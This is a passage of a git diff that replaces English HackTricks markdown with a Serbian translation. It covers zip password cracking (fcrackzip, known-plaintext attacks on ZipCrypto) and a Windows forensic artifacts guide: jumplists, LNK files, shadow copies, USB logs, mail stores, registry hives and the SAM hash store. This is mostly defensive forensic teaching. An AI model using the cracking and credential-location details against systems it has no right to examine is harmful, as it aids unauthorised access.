fajlove. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Alat za brute-force probijanje lozinki zip fajlova, efikasan za lozinke do oko 7 karaktera. -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +Specifikacija [Zip formata fajla](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) pruža sveobuhvatne detalje o strukturi i standardima zip fajlova. -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +Važno je napomenuti da zip fajlovi zaštićeni lozinkom **ne šifruju imena fajlova ili veličine fajlova** unutar sebe, što je sigurnosna slabost koju ne dele RAR ili 7z fajlovi koji šifruju ove informacije. Osim toga, zip fajlovi koji su šifrovani starijom metodom ZipCrypto su ranjivi na **napad sa poznatim tekstom** ako je dostupna nešifrovana kopija komprimiranog fajla. Ovaj napad koristi poznati sadržaj za probijanje lozinke zip fajla, ranjivost koja je detaljno objašnjena u [HackThis-ovom članku](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) i dalje objašnjena u [ovom naučnom radu](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf). Međutim, zip fajlovi koji su obezbeđeni **AES-256** šifrovanjem su imuni na ovaj napad sa poznatim tekstom, što pokazuje važnost izbora sigurnih metoda šifrovanja za osetljive podatke. -## References +## Reference * [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/)
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index 2b8d2400b..815ae3059 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -1,526 +1,492 @@ -# Windows Artifacts +# Windows Artifakti -## Windows Artifacts +## Windows Artifakti
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
-## Generic Windows Artifacts +## Generički Windows Artifakti -### Windows 10 Notifications +### Windows 10 Obaveštenja -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +Na putanji `\Users\\AppData\Local\Microsoft\Windows\Notifications` možete pronaći bazu podataka `appdb.dat` (pre Windows Anniversary) ili `wpndatabase.db` (posle Windows Anniversary). -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +Unutar ove SQLite baze podataka, možete pronaći tabelu `Notification` sa svim obaveštenjima (u XML formatu) koja mogu sadržati interesantne podatke. -### Timeline +### Vremenska linija -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +Vremenska linija je karakteristika Windows-a koja pruža **hronološku istoriju** posećenih web stranica, izmenjenih dokumenata i izvršenih aplikacija. -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +Baza podataka se nalazi na putanji `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. Ovu bazu podataka možete otvoriti sa alatom SQLite ili sa alatom [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **koji generiše 2 fajla koji se mogu otvoriti sa alatom** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). ### ADS (Alternate Data Streams) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +Preuzeti fajlovi mogu sadržati **ADS Zone.Identifier** koji ukazuje **kako** je fajl **preuzet** sa intraneta, interneta, itd. Neki softveri (kao što su pretraživači) obično dodaju **još** **informacija** kao što je **URL** sa kog je fajl preuzet. -## **File Backups** +## **Rezervne kopije fajlova** -### Recycle Bin +### Korpa za smeće -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +U Vista/Win7/Win8/Win10 operativnim sistemima, **Korpa za smeće** se može pronaći u folderu **`$Recycle.bin`** u korenu diska (`C:\$Recycle.bin`).\ +Kada se fajl obriše u ovom folderu, kreiraju se 2 specifična fajla: -* `$I{id}`: File information (date of when it was deleted} -* `$R{id}`: Content of the file +* `$I{id}`: Informacije o fajlu (datum kada je obrisan} +* `$R{id}`: Sadržaj fajla ![](<../../../.gitbook/assets/image (486).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +Koristeći ove fajlove, možete koristiti alat [**Rifiuti**](https://github.com/abelcheung/rifiuti2) da biste dobili originalnu adresu obrisanih fajlova i datum kada su obrisani (koristite `rifiuti-vista.exe` za Vista – Win10). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### Kopije senki volumena -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +Shadow Copy je tehnologija koja je uključena u Microsoft Windows i može kreirati **rezervne kopije** ili snimke fajlova ili volumena računara, čak i kada su u upotrebi. -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +Ove rezervne kopije se obično nalaze u `\System Volume Information` od korena fajl sistema, a ime je sastavljeno od **UID-ova** prikazanih na sledećoj slici: ![](<../../../.gitbook/assets/image (520).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +Montiranjem forenzičke slike sa **ArsenalImageMounter**-om, alatka [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) se može koristiti za pregledanje kopije senke i čak **izvlačenje fajlova** iz rezervnih kopija senke. ![](<../../../.gitbook/assets/image (521).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +Unos registra `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` sadrži fajlove i ključeve **koji se neće rezervisati**: ![](<../../../.gitbook/assets/image (522).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +Registar `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` takođe sadrži informacije o konfiguraciji `Volume Shadow Copies`. -### Office AutoSaved Files +### Office automatski sačuvani fajlovi -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Office automatski sačuvava fajlove na sledećoj lokaciji: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## Shell stavke -A shell item is an item that contains information about how to access another file. +Shell stavka je stavka koja sadrži informacije o tome kako pristupiti drugom fajlu. -### Recent Documents (LNK) +### Nedavni dokumenti (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows **automatski** **kreira** ove **prečice** kada korisnik **otvori, koristi ili kreira fajl** u: * Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` * Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +Kada se kreira folder, takođe se kreira veza do foldera, roditeljskog foldera i pradedovskog foldera. -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +Ove automatski kreirane link fajlove **sadrže informacije o poreklu** kao da li je to **fajl** **ili** folder, **MAC** **vremena** tog fajla, **informacije o volumenu** gde je fajl smešten i **folder ciljnog fajla**. Ove informacije mogu biti korisne za oporavak tih fajlova u slučaju da su uklonjeni. -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +Takođe, **datum kreiranja linka** fajla je prvo **vreme** kada je originalni fajl **prvi put** **korišćen**, a **datum** **izmene** link fajla je **poslednje** **vreme** kada je origin fajl korišćen. -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +Za pregledanje ovih fajlova možete koristiti [**LinkParser**](http://4discovery.com/our-tools/). -In this tools you will find **2 sets** of timestamps: +U ovoj alatki ćete naći **2 seta** vremenskih oznaka: -* **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -* **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +* **Prvi set:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +* **Drugi set:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +Prvi set vremenskih oznaka se odnosi na **vremenske oznake samog fajla**. Drugi set se odnosi na **vremenske oznake povezanog fajla**. +Možete dobiti iste informacije pokretanjem Windows CLI alatke: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` +U ovom slučaju, informacije će biti sačuvane unutar CSV datoteke. -In this case, the information is going to be saved inside a CSV file. +### Jumpliste -### Jumplists +Ovo su nedavne datoteke koje su označene po aplikacijama. To je lista **nedavnih datoteka koje je koristila aplikacija** kojoj možete pristupiti u svakoj aplikaciji. Mogu se **automatski kreirati ili biti prilagođene**. -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +Automatski kreirane **jumpliste** se čuvaju u `C:\Users\{korisničko_ime}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. Jumpliste su nazvane prema formatu `{id}.autmaticDestinations-ms` gde je početni ID ID aplikacije. -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +Prilagođene jumpliste se čuvaju u `C:\Users\{korisničko_ime}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` i obično ih aplikacija kreira jer se nešto **važno** desilo sa datotekom (možda je označena kao omiljena). -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +Vreme kreiranja bilo koje jumpliste pokazuje **prvi put kada je datoteka pristupljena** i vreme izmene poslednji put. -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. - -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Jumpliste možete pregledati koristeći [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). ![](<../../../.gitbook/assets/image (474).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_Napomena: Vremenske oznake koje pruža JumplistExplorer odnose se na samu jumplist datoteku_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Pratite ovaj link da biste saznali šta su shellbags.**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Korišćenje Windows USB uređaja -It's possible to identify that a USB device was used thanks to the creation of: +Moguće je identifikovati da je USB uređaj korišćen zahvaljujući kreiranju: * Windows Recent Folder * Microsoft Office Recent Folder -* Jumplists +* Jumpliste -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +Imajte na umu da neki LNK fajl umesto da pokazuje na originalnu putanju, pokazuje na WPDNSE folder: ![](<../../../.gitbook/assets/image (476).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +Datoteke u folderu WPDNSE su kopija originalnih datoteka, pa neće preživeti restart računara, a GUID se uzima iz shellbaga. -### Registry Information +### Informacije iz registra -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[Proverite ovu stranicu da biste saznali](interesting-windows-registry-keys.md#usb-information) koje registarske ključeve sadrže zanimljive informacije o povezanim USB uređajima. ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +Proverite datoteku `C:\Windows\inf\setupapi.dev.log` da biste dobili vremenske oznake kada je USB veza uspostavljena (pretražite `Section start`). -![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) +![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) se može koristiti za dobijanje informacija o USB uređajima koji su bili povezani sa slikom. ![](<../../../.gitbook/assets/image (483).png>) -### Plug and Play Cleanup +### Čišćenje Plug and Play -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +Zakazani zadatak poznat kao 'Plug and Play Cleanup' je pretežno dizajniran za uklanjanje zastarelih verzija drajvera. Suprotno od navedene svrhe zadržavanja najnovije verzije paketa drajvera, online izvori sugerišu da takođe cilja drajvere koji su bili neaktivni tokom 30 dana. Kao rezultat toga, drajveri za prenosive uređaje koji nisu bili povezani u poslednjih 30 dana mogu biti podložni brisanju. -The task is located at the following path: +Zadatak se nalazi na sledećoj putanji: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -A screenshot depicting the task's content is provided: +Prikazan je snimak ekrana sadržaja zadatka: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. +**Ključni komponenti i podešavanja zadatka:** +- **pnpclean.dll**: Ova DLL je odgovorna za sam proces čišćenja. +- **UseUnifiedSchedulingEngine**: Postavljeno na `TRUE`, što ukazuje na korišćenje generičkog mehanizma zakazivanja zadataka. - **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **Period ('P1M')**: Usmerava Task Scheduler da pokrene zadatak čišćenja mesečno tokom redovnog automatskog održavanja. +- **Deadline ('P2M')**: Nalaže Task Scheduleru, ako zadatak ne uspe dva uzastopna meseca, da izvrši zadatak tokom hitnog automatskog održavanja. -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +Ova konfiguracija obezbeđuje redovno održavanje i čišćenje drajvera, uz mogućnost ponovnog pokušaja izvršavanja zadatka u slučaju uzastopnih neuspeha. -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**Za više informacija pogledajte:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## Emailovi -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +Emailovi sadrže **2 zanimljiva dela: zaglavlja i sadržaj** emaila. U **zaglavljima** možete pronaći informacije kao što su: -* **Who** sent the emails (email address, IP, mail servers that have redirected the email) -* **When** was the email sent +* **Ko** je poslao email (adresa e-pošte, IP adresa, poštanski serveri koji su preusmerili email) +* **Kada** je email poslat -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +Takođe, u zaglavljima `References` i `In-Reply-To` možete pronaći ID poruka: ![](<../../../.gitbook/assets/image (484).png>) -### Windows Mail App +### Windows Mail aplikacija -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +Ova aplikacija čuva emailove u HTML ili tekstualnom formatu. Emailovi se mogu pronaći unutar podfoldera unutar `\Users\\AppData\Local\Comms\Unistore\data\3\`. Emailovi se čuvaju sa ekstenzijom `.dat`. -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +**Metapodaci** emailova i **kontakti** mogu se pronaći unutar **EDB baze podataka**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) to open it. Inside the `Message` table you can see the emails. +**Promenite ekstenziju** datoteke iz `.vol` u `.edb` i možete koristiti alatku [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) da je otvorite. U tabeli `Message` možete videti emailove. ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +Kada se koriste Exchange serveri ili Outlook klijenti, postojaće neka MAPI zaglavlja: -* `Mapi-Client-Submit-Time`: Time of the system when the email was sent -* `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -* `Mapi-Entry-ID`: Message identifier. -* `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +* `Mapi-Client-Submit-Time`: Vreme sistema kada je email poslat +* `Mapi-Conversation-Index`: Broj dečijih poruka u niti i vremenska oznaka svake poruke u niti +* `Mapi-Entry-ID`: Identifikator poruke. +* `Mappi-Message-Flags` i `Pr_last_Verb-Executed`: Informacije o MAPI klijentu (poruka pročitana? nepročitana? odgovorena? preusmerena? van kancelarije?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +U Microsoft Outlook klijentu, sve poslate/primljene poruke, podaci o kontaktima i podaci o kalendaru se čuvaju u PST datoteci na sledećoj putanji: * `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) * `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +Putanja registra `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` ukazuje na korišćenu datoteku. -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +PST datoteku možete otvoriti koristeći alatku [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). ![](<../../../.gitbook/assets/image (485).png>) +### Microsoft Outlook OST fajlovi -### Microsoft Outlook OST Files +**OST fajl** se generiše od strane Microsoft Outlook-a kada je konfigurisan sa **IMAP** ili **Exchange** serverom, čuvajući slične informacije kao PST fajl. Ovaj fajl je sinhronizovan sa serverom i čuva podatke za **poslednjih 12 meseci** do **maksimalne veličine od 50GB**, i nalazi se u istom direktorijumu kao i PST fajl. Za pregled OST fajla, može se koristiti [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +### Dobijanje priloga -### Retrieving Attachments +Izgubljeni prilozi mogu biti povraćeni sa: -Lost attachments might be recoverable from: +- Za **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- Za **IE11 i novije**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +### Thunderbird MBOX fajlovi -### Thunderbird MBOX Files +**Thunderbird** koristi **MBOX fajlove** za čuvanje podataka, smeštene na lokaciji `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +### Sličice slika -### Image Thumbnails +- **Windows XP i 8-8.1**: Pregledanje foldera sa sličicama generiše `thumbs.db` fajl koji čuva prikaze slika, čak i nakon brisanja. +- **Windows 7/10**: `thumbs.db` se kreira prilikom pristupa preko mreže putem UNC putanje. +- **Windows Vista i novije**: Sličice slika su centralizovane u `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` sa fajlovima nazvanim **thumbcache\_xxx.db**. Alati [**Thumbsviewer**](https://thumbsviewer.github.io) i [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) se koriste za pregledanje ovih fajlova. -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +### Informacije iz Windows registra -### Windows Registry Information +Windows registar, koji čuva obimne podatke o aktivnostima sistema i korisnika, nalazi se u fajlovima: -The Windows Registry, storing extensive system and user activity data, is contained within files in: +- `%windir%\System32\Config` za različite `HKEY_LOCAL_MACHINE` podključeve. +- `%UserProfile%{User}\NTUSER.DAT` za `HKEY_CURRENT_USER`. +- Windows Vista i novije verzije čuvaju rezervne kopije `HKEY_LOCAL_MACHINE` registarskih fajlova u `%Windir%\System32\Config\RegBack\`. +- Dodatno, informacije o izvršavanju programa se čuvaju u `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` od Windows Vista i Windows 2008 Server verzija nadalje. -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +### Alati -### Tools +Neki alati su korisni za analizu registarskih fajlova: -Some tools are useful to analyze the registry files: +* **Registry Editor**: Instaliran je u Windows-u. To je grafički interfejs za navigaciju kroz Windows registar trenutne sesije. +* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Omogućava učitavanje registarskog fajla i navigaciju kroz njega pomoću grafičkog interfejsa. Takođe sadrži obeleživače koji ističu ključeve sa interesantnim informacijama. +* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ima grafički interfejs koji omogućava navigaciju kroz učitani registar i takođe sadrži dodatke koji ističu interesantne informacije unutar učitanog registra. +* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Još jedna aplikacija sa grafičkim interfejsom koja je sposobna da izvuče važne informacije iz učitanog registra. -* **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +### Povraćaj obrisanih elemenata -### Recovering Deleted Element +Kada se ključ obriše, označava se kao takav, ali se neće ukloniti sve dok prostor koji zauzima ne bude potreban. Stoga, korišćenjem alata kao što je **Registry Explorer** moguće je povratiti ove obrisane ključeve. -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +### Vreme poslednje izmene -### Last Write Time - -Each Key-Value contains a **timestamp** indicating the last time it was modified. +Svaki ključ-vrednost sadrži **vremensku oznaku** koja pokazuje kada je poslednji put izmenjen. ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +Fajl/hive **SAM** sadrži heševe **korisnika, grupa i lozinki korisnika** 